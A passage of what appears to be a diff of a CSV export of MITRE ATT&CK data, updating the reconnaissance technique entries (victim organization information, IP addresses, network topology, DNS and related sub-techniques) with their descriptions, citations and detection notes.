url='https://www.dobsearch.com/business-lookup/')]",attack-pattern--ed730f20-0e44-48b9-85f8-0e2adeb76867,"[KillChainPhase(kill_chain_name='mitre-attack', phase_name='reconnaissance')]",2021-04-15 03:37:35.863000+00:00,Determine Physical Locations,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,,,,,,,"Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders. +Adversaries may gather this information in various ways, such as direct elicitation via [Phishing for Information](https://attack.mitre.org/techniques/T1598). Physical locations of a target organization may also be exposed to adversaries via online or other accessible data sets (ex: [Search Victim-Owned Websites](https://attack.mitre.org/techniques/T1594) or [Social Media](https://attack.mitre.org/techniques/T1593/001)).(Citation: ThreatPost Broadvoice Leak)(Citation: SEC EDGAR Search) Gathering this information may reveal opportunities for other forms of reconnaissance (ex: [Phishing for Information](https://attack.mitre.org/techniques/T1598) or [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593)), establishing operational resources (ex: [Develop Capabilities](https://attack.mitre.org/techniques/T1587) or [Obtain Capabilities](https://attack.mitre.org/techniques/T1588)), and/or initial access (ex: [Phishing](https://attack.mitre.org/techniques/T1566) or [Hardware Additions](https://attack.mitre.org/techniques/T1200)).","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'reconnaissance'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1591/001', 'external_id': 'T1591.001'}, {'source_name': 'ThreatPost Broadvoice Leak', 'description': 'Seals, T. (2020, October 15). Broadvoice Leak Exposes 350M Records, Personal Voicemail Transcripts. Retrieved October 20, 2020.', 'url': 'https://threatpost.com/broadvoice-leaks-350m-records-voicemail-transcripts/160158/'}, {'source_name': 'SEC EDGAR Search', 'description': 'U.S. SEC. (n.d.). EDGAR - Search and Access. Retrieved August 27, 2021.', 'url': 'https://www.sec.gov/edgar/search-and-access'}]",['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,,,"Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders. -Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.",,,,,True,,,,['PRE'],,,,1.0 -2020-10-02 16:27:55.713000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"Adversaries may gather information about the victim's business relationships that can be used during targeting. Information about an organization’s business relationships may include a variety of details, including second or third-party organizations/domains (ex: managed service providers, contractors, etc.) that have connected (and potentially elevated) network access. This information may also reveal supply chains and shipment paths for the victim’s hardware and software resources. +Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.",True,,['PRE'],1.1,,,,,,, +attack-pattern,attack-pattern--6ee2dc99-91ad-4534-a7d8-a649358c331f,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-10-02T16:27:55.713Z,2021-04-15T03:36:58.964Z,Business Relationships,"Adversaries may gather information about the victim's business relationships that can be used during targeting. Information about an organization’s business relationships may include a variety of details, including second or third-party organizations/domains (ex: managed service providers, contractors, etc.) that have connected (and potentially elevated) network access. This information may also reveal supply chains and shipment paths for the victim’s hardware and software resources. -Adversaries may gather this information in various ways, such as direct elicitation via [Phishing for Information](https://attack.mitre.org/techniques/T1598). Information about business relationships may also be exposed to adversaries via online or other accessible data sets (ex: [Social Media](https://attack.mitre.org/techniques/T1593/001) or [Search Victim-Owned Websites](https://attack.mitre.org/techniques/T1594)).(Citation: ThreatPost Broadvoice Leak) Gathering this information may reveal opportunities for other forms of reconnaissance (ex: [Phishing for Information](https://attack.mitre.org/techniques/T1598) or [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593)), establishing operational resources (ex: [Establish Accounts](https://attack.mitre.org/techniques/T1585) or [Compromise Accounts](https://attack.mitre.org/techniques/T1586)), and/or initial access (ex: [Supply Chain Compromise](https://attack.mitre.org/techniques/T1195), [Drive-by Compromise](https://attack.mitre.org/techniques/T1189), or [Trusted Relationship](https://attack.mitre.org/techniques/T1199)).","[ExternalReference(source_name='mitre-attack', url='https://attack.mitre.org/techniques/T1591/002', external_id='T1591.002'), ExternalReference(source_name='ThreatPost Broadvoice Leak', description='Seals, T. (2020, October 15). Broadvoice Leak Exposes 350M Records, Personal Voicemail Transcripts. Retrieved October 20, 2020.', url='https://threatpost.com/broadvoice-leaks-350m-records-voicemail-transcripts/160158/')]",attack-pattern--6ee2dc99-91ad-4534-a7d8-a649358c331f,"[KillChainPhase(kill_chain_name='mitre-attack', phase_name='reconnaissance')]",2021-04-15 03:36:58.964000+00:00,Business Relationships,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,,,,,,,"Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders. +Adversaries may gather this information in various ways, such as direct elicitation via [Phishing for Information](https://attack.mitre.org/techniques/T1598). Information about business relationships may also be exposed to adversaries via online or other accessible data sets (ex: [Social Media](https://attack.mitre.org/techniques/T1593/001) or [Search Victim-Owned Websites](https://attack.mitre.org/techniques/T1594)).(Citation: ThreatPost Broadvoice Leak) Gathering this information may reveal opportunities for other forms of reconnaissance (ex: [Phishing for Information](https://attack.mitre.org/techniques/T1598) or [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593)), establishing operational resources (ex: [Establish Accounts](https://attack.mitre.org/techniques/T1585) or [Compromise Accounts](https://attack.mitre.org/techniques/T1586)), and/or initial access (ex: [Supply Chain Compromise](https://attack.mitre.org/techniques/T1195), [Drive-by Compromise](https://attack.mitre.org/techniques/T1189), or [Trusted Relationship](https://attack.mitre.org/techniques/T1199)).","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'reconnaissance'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1591/002', 'external_id': 'T1591.002'}, {'source_name': 'ThreatPost Broadvoice Leak', 'description': 'Seals, T. (2020, October 15). Broadvoice Leak Exposes 350M Records, Personal Voicemail Transcripts. Retrieved October 20, 2020.', 'url': 'https://threatpost.com/broadvoice-leaks-350m-records-voicemail-transcripts/160158/'}]",['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,,,"Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders. -Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.",,,,,True,,,,['PRE'],,,,1.0 -2020-10-02 16:27:02.339000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"Adversaries may gather information about the victim's organization that can be used during targeting. Information about an organization may include a variety of details, including the names of divisions/departments, specifics of business operations, as well as the roles and responsibilities of key employees. +Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.",True,,['PRE'],1.0,,,,,,, +attack-pattern,attack-pattern--937e4772-8441-4e4a-8bf0-8d447d667e23,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-10-02T16:27:02.339Z,2021-08-27T15:37:09.343Z,Gather Victim Org Information,"Adversaries may gather information about the victim's organization that can be used during targeting. Information about an organization may include a variety of details, including the names of divisions/departments, specifics of business operations, as well as the roles and responsibilities of key employees. -Adversaries may gather this information in various ways, such as direct elicitation via [Phishing for Information](https://attack.mitre.org/techniques/T1598). Information about an organization may also be exposed to adversaries via online or other accessible data sets (ex: [Social Media](https://attack.mitre.org/techniques/T1593/001) or [Search Victim-Owned Websites](https://attack.mitre.org/techniques/T1594)).(Citation: ThreatPost Broadvoice Leak)(Citation: DOB Business Lookup) Gathering this information may reveal opportunities for other forms of reconnaissance (ex: [Phishing for Information](https://attack.mitre.org/techniques/T1598) or [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593)), establishing operational resources (ex: [Establish Accounts](https://attack.mitre.org/techniques/T1585) or [Compromise Accounts](https://attack.mitre.org/techniques/T1586)), and/or initial access (ex: [Phishing](https://attack.mitre.org/techniques/T1566) or [Trusted Relationship](https://attack.mitre.org/techniques/T1199)).","[ExternalReference(source_name='mitre-attack', url='https://attack.mitre.org/techniques/T1591', external_id='T1591'), ExternalReference(source_name='ThreatPost Broadvoice Leak', description='Seals, T. (2020, October 15). Broadvoice Leak Exposes 350M Records, Personal Voicemail Transcripts. Retrieved October 20, 2020.', url='https://threatpost.com/broadvoice-leaks-350m-records-voicemail-transcripts/160158/'), ExternalReference(source_name='DOB Business Lookup', description='Concert Technologies . (n.d.). Business Lookup - Company Name Search. Retrieved October 20, 2020.', url='https://www.dobsearch.com/business-lookup/')]",attack-pattern--937e4772-8441-4e4a-8bf0-8d447d667e23,"[KillChainPhase(kill_chain_name='mitre-attack', phase_name='reconnaissance')]",2021-04-15 03:39:09.021000+00:00,Gather Victim Org Information,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,,,,,,,"Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders. +Adversaries may gather this information in various ways, such as direct elicitation via [Phishing for Information](https://attack.mitre.org/techniques/T1598). Information about an organization may also be exposed to adversaries via online or other accessible data sets (ex: [Social Media](https://attack.mitre.org/techniques/T1593/001) or [Search Victim-Owned Websites](https://attack.mitre.org/techniques/T1594)).(Citation: ThreatPost Broadvoice Leak)(Citation: SEC EDGAR Search) Gathering this information may reveal opportunities for other forms of reconnaissance (ex: [Phishing for Information](https://attack.mitre.org/techniques/T1598) or [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593)), establishing operational resources (ex: [Establish Accounts](https://attack.mitre.org/techniques/T1585) or [Compromise Accounts](https://attack.mitre.org/techniques/T1586)), and/or initial access (ex: [Phishing](https://attack.mitre.org/techniques/T1566) or [Trusted Relationship](https://attack.mitre.org/techniques/T1199)).","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'reconnaissance'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1591', 'external_id': 'T1591'}, {'source_name': 'ThreatPost Broadvoice Leak', 'description': 'Seals, T. (2020, October 15). Broadvoice Leak Exposes 350M Records, Personal Voicemail Transcripts. Retrieved October 20, 2020.', 'url': 'https://threatpost.com/broadvoice-leaks-350m-records-voicemail-transcripts/160158/'}, {'source_name': 'SEC EDGAR Search', 'description': 'U.S. SEC. (n.d.). EDGAR - Search and Access. Retrieved August 27, 2021.', 'url': 'https://www.sec.gov/edgar/search-and-access'}]",['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,,,"Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders. -Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.",,,,,False,,,,['PRE'],,,,1.0 -2020-10-02 16:01:35.350000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"Adversaries may gather information about the victim's network security appliances that can be used during targeting. Information about network security appliances may include a variety of details, such as the existence and specifics of deployed firewalls, content filters, and proxies/bastion hosts. Adversaries may also target information about victim network-based intrusion detection systems (NIDS) or other appliances related to defensive cybersecurity operations. +Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.",False,,['PRE'],1.1,,,,,,, +attack-pattern,attack-pattern--6c2957f9-502a-478c-b1dd-d626c0659413,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-10-02T16:01:35.350Z,2021-04-15T03:31:54.275Z,Network Security Appliances,"Adversaries may gather information about the victim's network security appliances that can be used during targeting. Information about network security appliances may include a variety of details, such as the existence and specifics of deployed firewalls, content filters, and proxies/bastion hosts. Adversaries may also target information about victim network-based intrusion detection systems (NIDS) or other appliances related to defensive cybersecurity operations. -Adversaries may gather this information in various ways, such as direct collection actions via [Active Scanning](https://attack.mitre.org/techniques/T1595) or [Phishing for Information](https://attack.mitre.org/techniques/T1598).(Citation: Nmap Firewalls NIDS) Information about network security appliances may also be exposed to adversaries via online or other accessible data sets (ex: [Search Victim-Owned Websites](https://attack.mitre.org/techniques/T1594)). Gathering this information may reveal opportunities for other forms of reconnaissance (ex: [Search Open Technical Databases](https://attack.mitre.org/techniques/T1596) or [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593)), establishing operational resources (ex: [Develop Capabilities](https://attack.mitre.org/techniques/T1587) or [Obtain Capabilities](https://attack.mitre.org/techniques/T1588)), and/or initial access (ex: [External Remote Services](https://attack.mitre.org/techniques/T1133)).","[ExternalReference(source_name='mitre-attack', url='https://attack.mitre.org/techniques/T1590/006', external_id='T1590.006'), ExternalReference(source_name='Nmap Firewalls NIDS', description='Nmap. (n.d.). Chapter 10. Detecting and Subverting Firewalls and Intrusion Detection Systems. Retrieved October 20, 2020.', url='https://nmap.org/book/firewalls.html')]",attack-pattern--6c2957f9-502a-478c-b1dd-d626c0659413,"[KillChainPhase(kill_chain_name='mitre-attack', phase_name='reconnaissance')]",2021-04-15 03:31:54.275000+00:00,Network Security Appliances,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,,,,,,,"Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders. +Adversaries may gather this information in various ways, such as direct collection actions via [Active Scanning](https://attack.mitre.org/techniques/T1595) or [Phishing for Information](https://attack.mitre.org/techniques/T1598).(Citation: Nmap Firewalls NIDS) Information about network security appliances may also be exposed to adversaries via online or other accessible data sets (ex: [Search Victim-Owned Websites](https://attack.mitre.org/techniques/T1594)). Gathering this information may reveal opportunities for other forms of reconnaissance (ex: [Search Open Technical Databases](https://attack.mitre.org/techniques/T1596) or [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593)), establishing operational resources (ex: [Develop Capabilities](https://attack.mitre.org/techniques/T1587) or [Obtain Capabilities](https://attack.mitre.org/techniques/T1588)), and/or initial access (ex: [External Remote Services](https://attack.mitre.org/techniques/T1133)).","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'reconnaissance'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1590/006', 'external_id': 'T1590.006'}, {'source_name': 'Nmap Firewalls NIDS', 'description': 'Nmap. (n.d.). Chapter 10. Detecting and Subverting Firewalls and Intrusion Detection Systems. Retrieved October 20, 2020.', 'url': 'https://nmap.org/book/firewalls.html'}]",['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,,,"Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders. -Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.",,,,,True,,,,['PRE'],,,,1.0 -2020-10-02 15:59:11.695000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"Adversaries may gather the victim's IP addresses that can be used during targeting. Public IP addresses may be allocated to organizations by block, or a range of sequential addresses. Information about assigned IP addresses may include a variety of details, such as which IP addresses are in use. IP addresses may also enable an adversary to derive other details about a victim, such as organizational size, physical location(s), Internet service provider, and or where/how their publicly-facing infrastructure is hosted. +Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.",True,,['PRE'],1.0,,,,,,, +attack-pattern,attack-pattern--0dda99f0-4701-48ca-9774-8504922e92d3,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-10-02T15:59:11.695Z,2021-04-15T03:31:05.302Z,IP Addresses,"Adversaries may gather the victim's IP addresses that can be used during targeting. Public IP addresses may be allocated to organizations by block, or a range of sequential addresses. Information about assigned IP addresses may include a variety of details, such as which IP addresses are in use. IP addresses may also enable an adversary to derive other details about a victim, such as organizational size, physical location(s), Internet service provider, and or where/how their publicly-facing infrastructure is hosted. -Adversaries may gather this information in various ways, such as direct collection actions via [Active Scanning](https://attack.mitre.org/techniques/T1595) or [Phishing for Information](https://attack.mitre.org/techniques/T1598). Information about assigned IP addresses may also be exposed to adversaries via online or other accessible data sets (ex: [Search Open Technical Databases](https://attack.mitre.org/techniques/T1596)).(Citation: WHOIS)(Citation: DNS Dumpster)(Citation: Circl Passive DNS) Gathering this information may reveal opportunities for other forms of reconnaissance (ex: [Active Scanning](https://attack.mitre.org/techniques/T1595) or [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593)), establishing operational resources (ex: [Acquire Infrastructure](https://attack.mitre.org/techniques/T1583) or [Compromise Infrastructure](https://attack.mitre.org/techniques/T1584)), and/or initial access (ex: [External Remote Services](https://attack.mitre.org/techniques/T1133)).","[ExternalReference(source_name='mitre-attack', url='https://attack.mitre.org/techniques/T1590/005', external_id='T1590.005'), ExternalReference(source_name='WHOIS', description='NTT America. (n.d.). Whois Lookup. Retrieved October 20, 2020.', url='https://www.whois.net/'), ExternalReference(source_name='DNS Dumpster', description='Hacker Target. (n.d.). DNS Dumpster. Retrieved October 20, 2020.', url='https://dnsdumpster.com/'), ExternalReference(source_name='Circl Passive DNS', description='CIRCL Computer Incident Response Center. (n.d.). Passive DNS. Retrieved October 20, 2020.', url='https://www.circl.lu/services/passive-dns/')]",attack-pattern--0dda99f0-4701-48ca-9774-8504922e92d3,"[KillChainPhase(kill_chain_name='mitre-attack', phase_name='reconnaissance')]",2021-04-15 03:31:05.302000+00:00,IP Addresses,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,,,,,,,"Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders. +Adversaries may gather this information in various ways, such as direct collection actions via [Active Scanning](https://attack.mitre.org/techniques/T1595) or [Phishing for Information](https://attack.mitre.org/techniques/T1598). Information about assigned IP addresses may also be exposed to adversaries via online or other accessible data sets (ex: [Search Open Technical Databases](https://attack.mitre.org/techniques/T1596)).(Citation: WHOIS)(Citation: DNS Dumpster)(Citation: Circl Passive DNS) Gathering this information may reveal opportunities for other forms of reconnaissance (ex: [Active Scanning](https://attack.mitre.org/techniques/T1595) or [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593)), establishing operational resources (ex: [Acquire Infrastructure](https://attack.mitre.org/techniques/T1583) or [Compromise Infrastructure](https://attack.mitre.org/techniques/T1584)), and/or initial access (ex: [External Remote Services](https://attack.mitre.org/techniques/T1133)).","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'reconnaissance'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1590/005', 'external_id': 'T1590.005'}, {'source_name': 'WHOIS', 'description': 'NTT America. (n.d.). Whois Lookup. Retrieved October 20, 2020.', 'url': 'https://www.whois.net/'}, {'source_name': 'DNS Dumpster', 'description': 'Hacker Target. (n.d.). DNS Dumpster. Retrieved October 20, 2020.', 'url': 'https://dnsdumpster.com/'}, {'source_name': 'Circl Passive DNS', 'description': 'CIRCL Computer Incident Response Center. (n.d.). Passive DNS. Retrieved October 20, 2020.', 'url': 'https://www.circl.lu/services/passive-dns/'}]",['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,,,"Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders. -Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.",,,,,True,,,,['PRE'],,,,1.0 -2020-10-02 15:49:03.815000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"Adversaries may gather information about the victim's network topology that can be used during targeting. Information about network topologies may include a variety of details, including the physical and/or logical arrangement of both external-facing and internal network environments. This information may also include specifics regarding network devices (gateways, routers, etc.) and other infrastructure. +Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.",True,,['PRE'],1.0,,,,,,, +attack-pattern,attack-pattern--34ab90a3-05f6-4259-8f21-621081fdaba5,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-10-02T15:49:03.815Z,2021-04-15T03:33:02.476Z,Network Topology,"Adversaries may gather information about the victim's network topology that can be used during targeting. Information about network topologies may include a variety of details, including the physical and/or logical arrangement of both external-facing and internal network environments. This information may also include specifics regarding network devices (gateways, routers, etc.) and other infrastructure. -Adversaries may gather this information in various ways, such as direct collection actions via [Active Scanning](https://attack.mitre.org/techniques/T1595) or [Phishing for Information](https://attack.mitre.org/techniques/T1598). Information about network topologies may also be exposed to adversaries via online or other accessible data sets (ex: [Search Victim-Owned Websites](https://attack.mitre.org/techniques/T1594)).(Citation: DNS Dumpster) Gathering this information may reveal opportunities for other forms of reconnaissance (ex: [Search Open Technical Databases](https://attack.mitre.org/techniques/T1596) or [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593)), establishing operational resources (ex: [Acquire Infrastructure](https://attack.mitre.org/techniques/T1583) or [Compromise Infrastructure](https://attack.mitre.org/techniques/T1584)), and/or initial access (ex: [External Remote Services](https://attack.mitre.org/techniques/T1133)).","[ExternalReference(source_name='mitre-attack', url='https://attack.mitre.org/techniques/T1590/004', external_id='T1590.004'), ExternalReference(source_name='DNS Dumpster', description='Hacker Target. (n.d.). DNS Dumpster. Retrieved October 20, 2020.', url='https://dnsdumpster.com/')]",attack-pattern--34ab90a3-05f6-4259-8f21-621081fdaba5,"[KillChainPhase(kill_chain_name='mitre-attack', phase_name='reconnaissance')]",2021-04-15 03:33:02.476000+00:00,Network Topology,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,,,,,,,"Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders. +Adversaries may gather this information in various ways, such as direct collection actions via [Active Scanning](https://attack.mitre.org/techniques/T1595) or [Phishing for Information](https://attack.mitre.org/techniques/T1598). Information about network topologies may also be exposed to adversaries via online or other accessible data sets (ex: [Search Victim-Owned Websites](https://attack.mitre.org/techniques/T1594)).(Citation: DNS Dumpster) Gathering this information may reveal opportunities for other forms of reconnaissance (ex: [Search Open Technical Databases](https://attack.mitre.org/techniques/T1596) or [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593)), establishing operational resources (ex: [Acquire Infrastructure](https://attack.mitre.org/techniques/T1583) or [Compromise Infrastructure](https://attack.mitre.org/techniques/T1584)), and/or initial access (ex: [External Remote Services](https://attack.mitre.org/techniques/T1133)).","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'reconnaissance'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1590/004', 'external_id': 'T1590.004'}, {'source_name': 'DNS Dumpster', 'description': 'Hacker Target. (n.d.). DNS Dumpster. Retrieved October 20, 2020.', 'url': 'https://dnsdumpster.com/'}]",['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,,,"Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders. -Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.",,,,,True,,,,['PRE'],,,,1.0 -2020-10-02 15:47:59.457000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"Adversaries may gather information about the victim's network trust dependencies that can be used during targeting. Information about network trusts may include a variety of details, including second or third-party organizations/domains (ex: managed service providers, contractors, etc.) that have connected (and potentially elevated) network access. +Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.",True,,['PRE'],1.0,,,,,,, +attack-pattern,attack-pattern--36aa137f-5166-41f8-b2f0-a4cfa1b4133e,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-10-02T15:47:59.457Z,2021-04-15T03:34:22.917Z,Network Trust Dependencies,"Adversaries may gather information about the victim's network trust dependencies that can be used during targeting. Information about network trusts may include a variety of details, including second or third-party organizations/domains (ex: managed service providers, contractors, etc.) that have connected (and potentially elevated) network access. -Adversaries may gather this information in various ways, such as direct elicitation via [Phishing for Information](https://attack.mitre.org/techniques/T1598). Information about network trusts may also be exposed to adversaries via online or other accessible data sets (ex: [Search Open Technical Databases](https://attack.mitre.org/techniques/T1596)).(Citation: Pentesting AD Forests) Gathering this information may reveal opportunities for other forms of reconnaissance (ex: [Active Scanning](https://attack.mitre.org/techniques/T1595) or [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593)), establishing operational resources (ex: [Acquire Infrastructure](https://attack.mitre.org/techniques/T1583) or [Compromise Infrastructure](https://attack.mitre.org/techniques/T1584)), and/or initial access (ex: [Trusted Relationship](https://attack.mitre.org/techniques/T1199)).","[ExternalReference(source_name='mitre-attack', url='https://attack.mitre.org/techniques/T1590/003', external_id='T1590.003'), ExternalReference(source_name='Pentesting AD Forests', description='García, C. (2019, April 3). Pentesting Active Directory Forests. Retrieved October 20, 2020.', url='https://www.slideshare.net/rootedcon/carlos-garca-pentesting-active-directory-forests-rooted2019')]",attack-pattern--36aa137f-5166-41f8-b2f0-a4cfa1b4133e,"[KillChainPhase(kill_chain_name='mitre-attack', phase_name='reconnaissance')]",2021-04-15 03:34:22.917000+00:00,Network Trust Dependencies,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,,,,,,,"Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders. +Adversaries may gather this information in various ways, such as direct elicitation via [Phishing for Information](https://attack.mitre.org/techniques/T1598). Information about network trusts may also be exposed to adversaries via online or other accessible data sets (ex: [Search Open Technical Databases](https://attack.mitre.org/techniques/T1596)).(Citation: Pentesting AD Forests) Gathering this information may reveal opportunities for other forms of reconnaissance (ex: [Active Scanning](https://attack.mitre.org/techniques/T1595) or [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593)), establishing operational resources (ex: [Acquire Infrastructure](https://attack.mitre.org/techniques/T1583) or [Compromise Infrastructure](https://attack.mitre.org/techniques/T1584)), and/or initial access (ex: [Trusted Relationship](https://attack.mitre.org/techniques/T1199)).","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'reconnaissance'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1590/003', 'external_id': 'T1590.003'}, {'source_name': 'Pentesting AD Forests', 'description': 'García, C. (2019, April 3). Pentesting Active Directory Forests. Retrieved October 20, 2020.', 'url': 'https://www.slideshare.net/rootedcon/carlos-garca-pentesting-active-directory-forests-rooted2019'}]",['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,,,"Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders. -Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.",,,,,True,,,,['PRE'],,,,1.0 -2020-10-02 15:47:10.102000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"Adversaries may gather information about the victim's DNS that can be used during targeting. DNS information may include a variety of details, including registered name servers as well as records that outline addressing for a target’s subdomains, mail servers, and other hosts. +Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.",True,,['PRE'],1.0,,,,,,, +attack-pattern,attack-pattern--0ff59227-8aa8-4c09-bf1f-925605bd07ea,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-10-02T15:47:10.102Z,2021-04-15T03:29:18.740Z,DNS,"Adversaries may gather information about the victim's DNS that can be used during targeting. DNS information may include a variety of details, including registered name servers as well as records that outline addressing for a target’s subdomains, mail servers, and other hosts. -Adversaries may gather this information in various ways, such as querying or otherwise collecting details via [DNS/Passive DNS](https://attack.mitre.org/techniques/T1596/001). DNS information may also be exposed to adversaries via online or other accessible data sets (ex: [Search Open Technical Databases](https://attack.mitre.org/techniques/T1596)).(Citation: DNS Dumpster)(Citation: Circl Passive DNS) Gathering this information may reveal opportunities for other forms of reconnaissance (ex: [Search Open Technical Databases](https://attack.mitre.org/techniques/T1596), [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593), or [Active Scanning](https://attack.mitre.org/techniques/T1595)), establishing operational resources (ex: [Acquire Infrastructure](https://attack.mitre.org/techniques/T1583) or [Compromise Infrastructure](https://attack.mitre.org/techniques/T1584)), and/or initial access (ex: [External Remote Services](https://attack.mitre.org/techniques/T1133)).","[ExternalReference(source_name='mitre-attack', url='https://attack.mitre.org/techniques/T1590/002', external_id='T1590.002'), ExternalReference(source_name='DNS Dumpster', description='Hacker Target. (n.d.). DNS Dumpster. Retrieved October 20, 2020.', url='https://dnsdumpster.com/'), ExternalReference(source_name='Circl Passive DNS', description='CIRCL Computer Incident Response Center. (n.d.). Passive DNS. Retrieved October 20, 2020.', url='https://www.circl.lu/services/passive-dns/')]",attack-pattern--0ff59227-8aa8-4c09-bf1f-925605bd07ea,"[KillChainPhase(kill_chain_name='mitre-attack', phase_name='reconnaissance')]",2021-04-15 03:29:18.740000+00:00,DNS,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,,,,,,,"Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders. +Adversaries may gather this information in various ways, such as querying or otherwise collecting details via [DNS/Passive DNS](https://attack.mitre.org/techniques/T1596/001). DNS information may also be exposed to adversaries via online or other accessible data sets (ex: [Search Open Technical Databases](https://attack.mitre.org/techniques/T1596)).(Citation: DNS Dumpster)(Citation: Circl Passive DNS) Gathering this information may reveal opportunities for other forms of reconnaissance (ex: [Search Open Technical Databases](https://attack.mitre.org/techniques/T1596), [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593), or [Active Scanning](https://attack.mitre.org/techniques/T1595)), establishing operational resources (ex: [Acquire Infrastructure](https://attack.mitre.org/techniques/T1583) or [Compromise Infrastructure](https://attack.mitre.org/techniques/T1584)), and/or initial access (ex: [External Remote Services](https://attack.mitre.org/techniques/T1133)).","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'reconnaissance'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1590/002', 'external_id': 'T1590.002'}, {'source_name': 'DNS 